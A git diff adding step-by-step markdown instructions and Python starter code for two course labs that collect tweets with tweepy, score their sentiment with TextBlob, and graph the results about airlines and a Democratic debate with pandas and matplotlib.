index 00000000..28ea4c8d
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/422.md
@@ -0,0 +1,16 @@
+
+
+Remember, `iterrows` get's an index and row for a dataframe and loops through it. So our process for each tweet in each row is to:
+
+1. Get the date
+2. Add 1 to the count for the corresponding date and sentiment
+3. Add one to the total for that row
+
+```python
+for index, row in time_series_df.iterrows():
+ date = str(row['date'].year) + '-0' + str(row['date'].month) + '-' + str(row['date'].day)
+ df.loc[row['sentiment'], date] += 1
+ df.loc['total', date] += 1
+```
+
+
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/423.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/423.md
new file mode 100644
index 00000000..964d2eca
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/423.md
@@ -0,0 +1,29 @@
+
+
+Our last step is to change the counts of each cell into percentages. This time, we'll iterate over a column instead of each row using `iteritems()`. colName will give us the column header, or the date in this case, and colData will give us each horizontal row header, so `positive`, `neutral`, `negative`, and `total`. To get the percentages instead of the counts we should divide the cell for a certain column by the total number, and multiply by 100 to get a percentage. Try this:
+
+```python
+for colName, colData in df.iteritems():
+ colData['positive'] = colData['positive'] / colData['total'] * 100
+ colData['neutral'] = colData['neutral'] / colData['total'] * 100
+ colData['negative'] = colData['negative'] / colData['total'] * 100
+```
+
+This will give us unrounded numbers, lets use the `round()` function to get our numbers to the hundredths decimal place:
+
+```python
+for colName, colData in df.iteritems():
+ colData['positive'] = round(colData['positive'] / colData['total'] * 100, 2)
+ colData['neutral'] = round(colData['neutral'] / colData['total'] * 100, 2)
+ colData['negative'] = round(colData['negative'] / colData['total'] * 100, 2)
+```
+
+Great job! Next, we'll create a graph derived from the dataframe we just created!
+
+Now just return the dates and df and we are now on our way:
+
+```
+ return df, dates
+```
+
+
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/5.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/5.md
new file mode 100644
index 00000000..90e99ac0
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/5.md
@@ -0,0 +1,14 @@
+# Graphing
+
+Now that we have our dataframe with the number of positive, neutral, and negative tweets for each candidate, it's time to graph!
+
+
+We'll be graphing a bar graph representing the total number of tweets per day for
+
+
+Inside of the function `produce_graph(df, keys)`, create a bar graph, with each bar labelled with an appropriate date for the tick. Then on top of that bar graph, create a line graph with three lines for the positive, neutral, and negative sentiment on *each day*.
+
+Data presentation is everything - without putting your due diligence into your presentation, less people will read your analytics! So make sure your graph is properly titled, with a legend, x-axes, y-axes, and x and y labels. Don't forget to have 2 y-axes! (one for your bar graph and one for your line graph). As a reminder this is what your graph should look like:
+
+
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/51.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/51.md
new file mode 100644
index 00000000..49a59138
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/51.md
@@ -0,0 +1,12 @@
+# Setting Up Bars
+
+Remember that even though this is a stacked bar graph, you are still essentially graphing numbers on a bar graph, with the caveat that the bars are on top of each other, and so the location of the bars needs to be controlled.
+
+To make your bars on your graph, there are two steps you need to take:
+
+* Locate the positive, neutral and negative lists in your data frame. That is the data you will be graphing.
+* Use `plt.bar` to graph bar graphs.
+ * Start off with just graphing the positive bars and making sure those work.
+ * Then graph the neutral bars, setting the **bottom** to be the positive bars.
+ * Do the same for negative bars.
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/52.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/52.md
new file mode 100644
index 00000000..8389cc02
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/52.md
@@ -0,0 +1,20 @@
+# Adding our data points
+
+Now that your bars are set up, your graph has no data! Lets fix that!
+
+List "x" is used for plotting. for the line graphs below, (x, y) points need to be plotted. the "x" is just a list from 0...N - 1
+
+` x = [n for n in range(0, N)]`
+
+Now lets create an array representing amount of positive tweets per day, taken from the dataframe's row using loc.
+
+` y_pos = np.array(df.loc['positive', :])`
+
+Now lets create an array representing amount of neutral tweets per day, taken from the dataframe's row using loc
+
+` y_neut = np.array(df.loc['neutral', :])`
+
+Finally, an array representing amount of negative tweets per day, taken from the dataframe's row using loc
+
+` y_neg = np.array(df.loc['negative', :])`
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/53.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/53.md
new file mode 100644
index 00000000..317691b0
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/53.md
@@ -0,0 +1,27 @@
+# Making things pretty
+
+Let's finally start making our graph!
+
+Lets prepare our graph's axes.
+
+ `axes = plt.twinx()`
+
+And now we will give each "emotion" its on line on the graph
+
+` axes.plot(x, y_pos, color='#b5ffb9', label='Positive')`
+
+ `axes.plot(x, y_neut, color='aqua', label='Neutral')`
+
+ `axes.plot(x, y_neg, color='tomato', label='Negative')`
+
+And finally lets add axis and graph labels:
+
+` axes.set_ylabel('Percentage of Tweets with Sentiment')`
+
+` axes.legend()`
+
+` plt.title('Analysis of United Airlines Tweets')`
+
+Let the magic(of graphing) begin!
+
+ `plt.show()`
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/6.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/6.md
new file mode 100644
index 00000000..45f890d6
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/6.md
@@ -0,0 +1,3 @@
+# `main()`
+
+It's time to put all of our functions together into a program! Call `produce_dataframe()` and `produce_graph` inside of your main() function with the proper parameters, and run your main() to see your graphs made!
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/README.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/README.md
new file mode 100644
index 00000000..f9c64055
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/README.md
@@ -0,0 +1,20 @@
+# Activity/Lab Name
+
+Airline Sentiment Analysis
+
+# Long Summary
+
+Students will use the `tweepy` and `textblob` Python modules to utilize the Twitter API and perform sentiment analysis on tweets about airlines. Students will then use Python modules `pandas` and `matplotlib` to make a dataframe and graph the information appropriately.
+
+# Short Summary
+
+Students will use the Twitter API to analyze sentiments about airline tweets
+
+# Criteria
+
+1. How would you use a Tweepy cursor object to get Tweets from the Twitter API?
+2. What's the difference between a time series dataframe and a regular dataframe?
+
+# Difficulty
+
+Medium
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/images/dataframe_result.png b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/images/dataframe_result.png
new file mode 100644
index 00000000..18f8e8f4
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/images/dataframe_result.png differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/starter_code.py b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/starter_code.py
new file mode 100644
index 00000000..33da1039
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Airline-Sentiment-Analysis/starter_code.py
@@ -0,0 +1,29 @@
+# Import necessary modules
+import os
+import tweepy as tw
+import pandas as pd
+import numpy as np
+import datetime
+import matplotlib.pyplot as plt
+from scipy import stats
+from textblob import TextBlob
+from tweepy import OAuthHandler
+from IPython.display import display, HTML
+
+# 1.md and 2.md
+consumer_key = "Your key goes here!"
+consumer_secret = "Your key goes here!"
+access_token = "Your key goes here!"
+access_token_secret = "Your key goes here!"
+
+# Search dictionary to pass into produce_dataframe() as airlines to search for. DO NOT EDIT!
+search_dict = {"Spirit Airlines": "#spiritairlines","JetBlue": "#jetblue", "Frontier Airlines": "frontier airlines",
+ "Delta": "delta airlines", "United": "united airlines", "Southwest": "southwest airlines", "American":
+ "american airlines"
+ }
+
+# The date to search from
+date_since = "This date should be five days from now!"
+d = datetime.date.today()
+print(d)
+# Check that the tweepy object is working!
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/1.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/1.md
new file mode 100644
index 00000000..547f047a
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/1.md
@@ -0,0 +1,16 @@
+
+
+
+
+With the wealth of information at our disposal, American politics have increasingly become a game of misinformation and narrative twisting. To win elections, often times it doesn't matter what political candidates actually do or say, but how candidates can control the narrative surrounding their campaigns, and what the American people think of their candidates.
+
+Twitter reactions are a valuable source of political opinions from regular Americans, because anyone can tweet their honest feelings about political candidates. Using sentiment analysis on Americans' tweets can give us genuine insight on the sentiment behind every candidate in the race, outside of media spin or campaign biases. For this lab, we'll dive into the tweets during and after the 7th Democratic Debate to gauge how average Americans perceive political candidates, and graph our results in a stacked bar graph! Here is what the result should look like:
+
+
+
+To do this, we'll be gathering tweets referencing political candidates using Twitter's API as well as the `tweepy` and `TextBlob`packages to determine whether generated tweets have a positive, neutral or negative attitude towards the airlines.
+
+Proceed to Twitter Developer [here](https://developer.twitter.com/en/apps), and you'll need to make a new Twitter app and get four credentials for future use: consumer key, consumer token, access token and access secret token.
+
+Paste those credentials into the appropriate area in your starter code.
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/11.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/11.md
new file mode 100644
index 00000000..6f5bdcdf
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/11.md
@@ -0,0 +1,7 @@
+
+
+The Twitter developer application process starts here, please complete the form.
+
+
+
+
diff --git a/Module_Twitter_API/activities/Act1_Intro to Twitter API/1.mdx b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/111.md
similarity index 100%
rename from Module_Twitter_API/activities/Act1_Intro to Twitter API/1.mdx
rename to Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/111.md
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/112.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/112.md
new file mode 100644
index 00000000..7c1b766b
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/112.md
@@ -0,0 +1,8 @@
+
+
+The Twitter developer application process starts here, please complete the form.
+
+As you are most likely a student, click on the student option to begin. If another option is more relevant, click on that instead.
+
+
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/113.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/113.md
new file mode 100644
index 00000000..72fa16f4
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/113.md
@@ -0,0 +1,7 @@
+
+
+After finishing your application, confirm your email and your account should be processed and reviewed swiftly.
+
+
+
+After you have been approved, you will then be able to access the neccessary API keys. Be patient! This process can lasrt up to 2 bussiness weeks.
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/12.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/12.md
new file mode 100644
index 00000000..cf334045
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/12.md
@@ -0,0 +1,13 @@
+
+
+When you have finished configuring your account, head back to Twitter Developer [here](https://developer.twitter.com/en/apps), your app menu should look like this:
+
+
+
+Click on “Create an app” and fill out app details.
+
+After creating your app, head to its “Keys and tokens” section, where you will find an API key and API secret key. Copy these keys for later use (these keys in the picture have been erased). The keys will be used to access Twitter's sentiment anlysis API and will be inserted into the starter code.
+
+There is also an area to generate an access token and access secret token, please generate them and keep track of those as well. They will be used in the starter code.
+
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/121.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/121.md
new file mode 100644
index 00000000..8001cb9d
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/121.md
@@ -0,0 +1,14 @@
+
+
+Head back to Twitter Developer [here](https://developer.twitter.com/en/apps), your app menu should look like this:
+
+Click on “Create an app”. Fill out app details; for the website URL field, you can input any website, we used https://bitproject.org. Leave the OAuth Callback URL, TOS and Privacy Policy fields blank.
+
+After creating your app, head to its “Keys and tokens” section, where you will find an API key and API secret key. Copy these keys for later use. (these keys in the picture have been erased)
+
+
+
+There is also an area to generate an access token and access secret token, please generate them and keep track of those as well.
+
+
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/122.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/122.md
new file mode 100644
index 00000000..42c3898b
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/122.md
@@ -0,0 +1,12 @@
+
+
+In the creation of your app, fill out all the required information for your app details. For the website URL field, you can input any website, we used https://bitproject.org. Leave the OAuth Callback URL, TOS and Privacy Policy fields blank.
+
+ OAuth Callback URLs are used for providing directions on where a user should go after signing in with their Twitter credentials. They can even be used to redirect a user to a spcific page, which won't be neccessary for our lab.
+
+TOS stands for 'terms of service' which again, we don't need to specify here.
+
+Privacy Policy is similar to TOS, but would explain to users what the data collected from them would be used for. Since there will be no users other than yourself, it is not relevant.
+
+
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/123.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/123.md
new file mode 100644
index 00000000..3e8edec2
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/123.md
@@ -0,0 +1,11 @@
+
+
+After creating your app, head to its “Keys and tokens” section, where you will find an API key and API secret key. Copy these keys for later use. (these keys in the picture have been erased)
+
+
+
+
+
+Below the consumer API keys, there is also an area to generate an access token and access secret token, please generate them and keep track of those as well. Remember, these keys will be used to access Twitter's sentiment anlysis API and will be inserted into the starter code.
+
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/2.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/2.md
new file mode 100644
index 00000000..b52ba1d0
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/2.md
@@ -0,0 +1,8 @@
+
+
+
+
+Paste your keys and tokens in the allocated space. Then configure OAuth authentication with your consumer key and secret, set your access tokens and create a API object in `tweepy` to fetch tweets.
+
+Bear in mind we will be using the `dem_search` dictionary for the rest of this lab.
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/21.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/21.md
new file mode 100644
index 00000000..77cae357
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/21.md
@@ -0,0 +1,8 @@
+
+
+Paste your keys and tokens in the allocated space. You'll want to authenticate in three steps:
+
+1. Configure OAuth authentication with your consumer key and secret with the `OAuthHandler(consumer_key, consumer_secret)` call. This should create an `auth` object
+2. Set your access tokens with `auth.set_access_token()`.
+3. Create a API object in `tweepy` to fetch tweets: `tweepy.API(auth, wait_on_rate_limit=True)`
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/211.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/211.md
new file mode 100644
index 00000000..e2315f0b
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/211.md
@@ -0,0 +1,11 @@
+
+
+Remember all those credentials you generated? Paste them appropriately in the starter code.
+
+```python
+consumer_key = 'xxx'
+consumer_secret = 'xxx'
+access_token = 'xxx'
+access_token_secret = 'xxx'
+```
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/212.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/212.md
new file mode 100644
index 00000000..0d30563d
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/212.md
@@ -0,0 +1,16 @@
+
+
+We are now going to authenticate using our app credentials. Please look at the next two lines of code:
+
+```python
+auth = OAuthHandler(consumer_key, consumer_secret)
+```
+
+This line generates an authentication object using our consumer key and secret.
+
+```python
+auth.set_access_token(access_token, access_token_secret)
+```
+
+This line enables access to our authentication object with our access token and access secret token.
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/213.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/213.md
new file mode 100644
index 00000000..e7466b3c
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/213.md
@@ -0,0 +1,8 @@
+
+
+The `tweepy` package allows us to very easily use Twitter's API within a Python environment. The line below will give us an API object that will allow us to fetch tweets.
+
+```python
+api = tw.API(auth, wait_on_rate_limit=True)
+```
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/3.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/3.md
new file mode 100644
index 00000000..5e059159
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/3.md
@@ -0,0 +1,4 @@
+# Producing Dataframes
+
+First, we'll have to complete the function `produce_dataframe()`. Please reference the description in the starter code. Bear in mind we provide what will be passed into the `search_dict` parameter for you, and you are not allowed to change any function definition or given code.
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/31.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/31.md
new file mode 100644
index 00000000..27371b7d
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/31.md
@@ -0,0 +1,12 @@
+
+
+
+
+Our end result is going to be a dataframe indexed by sentiment categories `['positive', 'neutral', 'negative']` and our columns being various airlines of a category. From this dataframe, one should be able to easily look up the number of positive/neutral/negative tweets regarding an airline.
+
+Firstly, make a empty dataframe `df` indexed by the array `['positive', 'neutral', 'negative']`.
+
+A `search_dict` simply is a dictionary with airline names mapped to appropriate search queries on Twitter. We can use `tweepy` to search for tweets including those search queries.
+
+For each search query, use the `Cursor` object from `tweepy` to generate n number of tweets including each query. (n corresponds to the parameter `num_tweets` in this case.)
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/311.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/311.md
new file mode 100644
index 00000000..4e41893f
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/311.md
@@ -0,0 +1,20 @@
+
+
+
+
+We want a dataframe with the following structure:
+
+
+
+| | Airline_0 | Airline_1 | ... |
+| -------- | --------------- | --------------- | ---- |
+| positive | 321 | 23 | ... |
+| neutral | 76 | 32 | ... |
+| negative | \# example data | \# example data | ... |
+
+Our dataframe `df` will do the trick:
+
+```
+df = pd.DataFrame([], index=['positive', 'neutral', 'negative'])
+```
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/312.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/312.md
new file mode 100644
index 00000000..f32b7d59
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/312.md
@@ -0,0 +1,17 @@
+
+
+The `Cursor` in `tweepy` will allow us to find `num_tweets` tweets given a search query `val`.
+
+```python
+# Collect tweets
+tweets = tw.Cursor(api.search, q=val, lang="en", since=date_since).items(num_tweets)
+```
+
+Because we are given a dictionary with search queries, we want to iterate through this dictionary and call the above line for each search query (each query corresponds to one airline):
+
+```python
+for key, val in search_dict.items():
+ # Collect tweets
+ tweets = tw.Cursor(api.search, q=val, lang="en", since=date_since).items(num_tweets)
+```
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/32.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/32.md
new file mode 100644
index 00000000..b96fa681
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/32.md
@@ -0,0 +1,15 @@
+
+
+
+
+In our `Cursor` object is a list of tweets with our search query.
+
+Iterate through this cursor object and find whether its sentiment is positive, neutral or negative.
+
+* You'll have to use `TextBlob` as well as the `sentiment.polarity` attribute.
+
+Keep track of a count of positive, neutral and negative tweets.
+
+When done iterating through the tweets, index the dataframe so that the sentiment data shows up in your dataframe.
+
+The function should return `df`.
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/321.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/321.md
new file mode 100644
index 00000000..6a27d795
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/321.md
@@ -0,0 +1,30 @@
+
+
+
+
+For each tweet object in the cursor, we can use the `.text` attribute to get the text of the tweet itself. Then for each text, we make a `TextBlob` object out of that text.
+
+From there, simply check the values of the `.sentiment.polarity` attribute. Positive polarity indicates positive sentiment, zero polarity indicates neutral sentiment and neutral polarity indicates negative sentiment.
+
+We keep track of positive, neutral and negative tweets with counter variables. At the end, we add the acquired sentiment data to the dataframe.
+
+Return `df` at the end.
+
+```python
+for key, val in search_dict.items():
+ # ...
+
+ positive = 0
+ neutral = 0
+ negative = 0
+ for t in tweets:
+ analysis = TextBlob(t.text)
+ if analysis.sentiment.polarity > 0:
+ positive += 1
+ elif analysis.sentiment.polarity == 0:
+ neutral += 1
+ else:
+ negative += 1
+ df[key] = [positive, neutral, negative]
+return df
+```
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/33.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/33.md
new file mode 100644
index 00000000..b5fc3605
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/33.md
@@ -0,0 +1,3 @@
+
+
+Now let's fill out `init_dataframes()`. Call your method `produce_dataframe` on the defined dictionaries `low_cost_search` and `luxury_search` to produce two dataframes which consist of sentiment data on low-cost airlines and luxury airlines. Print *the entirety* of these dataframes to the Python console and return *both* of them.
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/331.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/331.md
new file mode 100644
index 00000000..9d87b411
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/331.md
@@ -0,0 +1,14 @@
+
+
+To do this, call `produce_dataframe()` twice on `low_cost_search` and `luxury_search`, each with the 100 tweets as a parameter.
+
+Then we print the *entirety* of the dataframe using `.to_string()` and return the resulting dataframes.
+
+```python
+def init_dataframes():
+ low_cost_df = produce_dataframe(low_cost_search, 100)
+ luxury_cost_df = produce_dataframe(luxury_search, 100)
+ print(low_cost_df.to_string())
+ print(luxury_cost_df.to_string())
+ return low_cost_df, luxury_cost_df
+```
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/4.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/4.md
new file mode 100644
index 00000000..9cb3384a
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/4.md
@@ -0,0 +1,17 @@
+# Graphing
+
+Now that we have our dataframe with the number of positive, neutral, and negative tweets for each candidate, it's time to graph!
+
+Inside of the function `produce_graph(df, keys)`, create a stacked bar graph, with each bar labelled with the number of the positive/neutral/negative tweets. Data presentation is everything - without putting your due diligence into your presentation, less people will read your analytics! So make sure your graph is properly titled, with a legend, x-axes, y-axes, and x and y labels.
+
+Here are some formatting rules (and hints!) that were used in the graph below:
+
+* Width of bars is 0.40
+* The legend is placed outside the graph using `bbox_to_anchor`
+* 0.1 inch margin between x-axis labels
+* Think about what `matplotlib` function you would use to set up a bar graph. How would you set up bars so that the bottom of one bar is set at the same location as the top of another?
+* You can set up text labels by initializing a figure `fig` with `plt.figure`, then initializing a subplot `ax` with `fig.add_subplot` and adding text labels at a location `(x, y)` with `ax.text(x, y, ...)`
+
+Remember that this is the result you are aiming for:
+
+
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/41.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/41.md
new file mode 100644
index 00000000..49a59138
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/41.md
@@ -0,0 +1,12 @@
+# Setting Up Bars
+
+Remember that even though this is a stacked bar graph, you are still essentially graphing numbers on a bar graph, with the caveat that the bars are on top of each other, and so the location of the bars needs to be controlled.
+
+To make your bars on your graph, there are two steps you need to take:
+
+* Locate the positive, neutral and negative lists in your data frame. That is the data you will be graphing.
+* Use `plt.bar` to graph bar graphs.
+ * Start off with just graphing the positive bars and making sure those work.
+ * Then graph the neutral bars, setting the **bottom** to be the positive bars.
+ * Do the same for negative bars.
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/42.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/42.md
new file mode 100644
index 00000000..65ab6ddc
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/42.md
@@ -0,0 +1,22 @@
+# Making Graph Pretty
+
